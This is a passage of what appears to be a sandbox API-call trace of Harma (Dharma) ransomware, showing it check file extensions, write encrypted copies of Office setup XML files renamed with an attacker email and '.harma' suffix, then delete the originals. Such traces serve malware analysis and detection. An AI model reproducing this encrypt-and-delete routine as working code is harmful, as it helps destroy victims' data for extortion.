Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0052.472] lstrlenW (lpString=".zip") returned 4 [0052.472] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.472] lstrlenW (lpString=".rar") returned 4 [0052.472] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.472] lstrlenW (lpString=".bz2") returned 4 [0052.472] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.472] lstrlenW (lpString=".7z") returned 3 [0052.472] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0052.472] lstrlenW (lpString=".dbf") returned 4 [0052.472] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0052.472] lstrlenW (lpString=".1cd") returned 4 [0052.472] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0052.472] lstrlenW (lpString=".jpg") returned 4 [0052.472] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.472] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0052.472] lstrlenW (lpString="SETUP.XML") returned 9 [0052.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0052.473] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=6241) returned 1 [0052.473] CloseHandle (hObject=0x1e0) returned 1 [0052.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 0x20 [0052.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0052.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0052.474] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.474] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0052.474] GetLastError () returned 0x0 [0052.474] ReadFile (in: hFile=0x1e0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x1861, lpOverlapped=0x0) returned 1 [0052.476] WriteFile (in: hFile=0x1f8, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0052.477] ReadFile (in: hFile=0x1e0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.477] WriteFile (in: hFile=0x1f8, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0052.477] SetEndOfFile (hFile=0x1f8) returned 1 [0052.477] CloseHandle (hObject=0x1f8) returned 1 [0052.485] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.485] SetEndOfFile (hFile=0x1e0) returned 1 [0052.486] CloseHandle (hObject=0x1e0) returned 1 [0052.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0052.486] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 1 [0052.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0052.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0052.486] lstrlenW (lpString=".doc") returned 4 [0052.486] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.486] lstrlenW (lpString=".docx") returned 5 [0052.487] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0052.487] lstrlenW (lpString=".pdf") returned 4 [0052.487] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.487] lstrlenW (lpString=".xls") returned 4 [0052.487] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.487] lstrlenW (lpString=".xlsx") returned 5 [0052.487] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0052.487] lstrlenW (lpString=".ppt") returned 4 [0052.487] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0052.487] lstrlenW (lpString=".zip") returned 4 [0052.487] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.487] lstrlenW (lpString=".rar") returned 4 [0052.487] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.487] lstrlenW (lpString=".bz2") returned 4 [0052.487] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.487] lstrlenW (lpString=".7z") returned 3 [0052.487] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0052.487] lstrlenW (lpString=".dbf") returned 4 [0052.487] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0052.487] lstrlenW (lpString=".1cd") returned 4 [0052.487] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0052.487] lstrlenW (lpString=".jpg") returned 4 [0052.487] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0052.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0052.487] lstrlenW (lpString=".doc") returned 4 [0052.488] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.488] lstrlenW (lpString=".docx") returned 5 [0052.488] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0052.488] lstrlenW (lpString=".pdf") returned 4 [0052.488] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.488] lstrlenW (lpString=".xls") returned 4 [0052.488] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.488] lstrlenW (lpString=".xlsx") returned 5 [0052.488] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0052.488] lstrlenW (lpString=".ppt") returned 4 [0052.488] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0052.488] lstrlenW (lpString=".zip") returned 4 [0052.488] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.488] lstrlenW (lpString=".rar") returned 4 [0052.488] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.488] lstrlenW (lpString=".bz2") returned 4 [0052.488] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.488] lstrlenW (lpString=".7z") returned 3 [0052.488] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0052.488] lstrlenW (lpString=".dbf") returned 4 [0052.488] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0052.488] lstrlenW (lpString=".1cd") returned 4 [0052.488] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0052.488] lstrlenW (lpString=".jpg") returned 4 [0052.488] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.489] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0052.489] lstrlenW (lpString="VisioMUI.XML") returned 12 [0052.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0052.490] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=9503) returned 1 [0052.490] CloseHandle (hObject=0x1e0) returned 1 [0052.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 0x20 [0052.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0052.490] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0052.490] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.490] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.491] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0052.492] GetLastError () returned 0x0 [0052.492] ReadFile (in: hFile=0x1e0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x251f, lpOverlapped=0x0) returned 1 [0052.494] WriteFile (in: hFile=0x1f8, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x2520, lpOverlapped=0x0) returned 1 [0052.495] ReadFile (in: hFile=0x1e0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.495] WriteFile (in: hFile=0x1f8, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.496] SetEndOfFile (hFile=0x1f8) returned 1 [0052.496] CloseHandle (hObject=0x1f8) returned 1 [0052.497] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.497] SetEndOfFile (hFile=0x1e0) returned 1 [0052.497] CloseHandle (hObject=0x1e0) returned 1 [0052.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0052.498] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 1 [0052.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0052.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0052.498] lstrlenW (lpString=".doc") returned 4 [0052.498] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.498] lstrlenW (lpString=".docx") returned 5 [0052.498] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0052.498] lstrlenW (lpString=".pdf") returned 4 [0052.498] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.498] lstrlenW (lpString=".xls") returned 4 [0052.498] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.498] lstrlenW (lpString=".xlsx") returned 5 [0052.498] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0052.498] lstrlenW (lpString=".ppt") returned 4 [0052.498] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0052.498] lstrlenW (lpString=".zip") returned 4 [0052.498] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.499] lstrlenW (lpString=".rar") returned 4 [0052.499] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.499] lstrlenW (lpString=".bz2") returned 4 [0052.499] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.499] lstrlenW (lpString=".7z") returned 3 [0052.499] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0052.499] lstrlenW (lpString=".dbf") returned 4 [0052.499] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0052.499] lstrlenW (lpString=".1cd") returned 4 [0052.499] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0052.499] lstrlenW (lpString=".jpg") returned 4 [0052.499] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0052.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0052.499] lstrlenW (lpString=".doc") returned 4 [0052.499] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.499] lstrlenW (lpString=".docx") returned 5 [0052.499] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0052.499] lstrlenW (lpString=".pdf") returned 4 [0052.499] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.499] lstrlenW (lpString=".xls") returned 4 [0052.499] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.499] lstrlenW (lpString=".xlsx") returned 5 [0052.499] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0052.500] lstrlenW (lpString=".ppt") returned 4 [0052.500] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0052.500] lstrlenW (lpString=".zip") returned 4 [0052.500] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.500] lstrlenW (lpString=".rar") returned 4 [0052.500] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.500] lstrlenW (lpString=".bz2") returned 4 [0052.500] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.500] lstrlenW (lpString=".7z") returned 3 [0052.500] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0052.500] lstrlenW (lpString=".dbf") returned 4 [0052.500] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0052.500] lstrlenW (lpString=".1cd") returned 4 [0052.500] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0052.500] lstrlenW (lpString=".jpg") returned 4 [0052.500] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.500] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0052.500] lstrlenW (lpString="SETUP.XML") returned 9 [0052.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0052.501] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=20577) returned 1 [0052.501] CloseHandle (hObject=0x1e0) returned 1 [0052.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 0x20 [0052.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0052.502] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0052.502] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.502] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.502] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0052.502] GetLastError () returned 0x0 [0052.502] ReadFile (in: hFile=0x1e0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x5061, lpOverlapped=0x0) returned 1 [0052.504] WriteFile (in: hFile=0x1f8, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0052.506] ReadFile (in: hFile=0x1e0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.506] WriteFile (in: hFile=0x1f8, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0052.506] SetEndOfFile (hFile=0x1f8) returned 1 [0052.506] CloseHandle (hObject=0x1f8) returned 1 [0052.507] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.507] SetEndOfFile (hFile=0x1e0) returned 1 [0052.508] CloseHandle (hObject=0x1e0) returned 1 [0052.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0052.508] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 1 [0052.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0052.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0052.508] lstrlenW (lpString=".doc") returned 4 [0052.508] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.508] lstrlenW (lpString=".docx") returned 5 [0052.509] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0052.509] lstrlenW (lpString=".pdf") returned 4 [0052.509] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.509] lstrlenW (lpString=".xls") returned 4 [0052.509] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.509] lstrlenW (lpString=".xlsx") returned 5 [0052.509] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0052.509] lstrlenW (lpString=".ppt") returned 4 [0052.509] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0052.509] lstrlenW (lpString=".zip") returned 4 [0052.509] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.509] lstrlenW (lpString=".rar") returned 4 [0052.509] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.509] lstrlenW (lpString=".bz2") returned 4 [0052.509] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.509] lstrlenW (lpString=".7z") returned 3 [0052.509] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0052.509] lstrlenW (lpString=".dbf") returned 4 [0052.509] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0052.509] lstrlenW (lpString=".1cd") returned 4 [0052.509] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 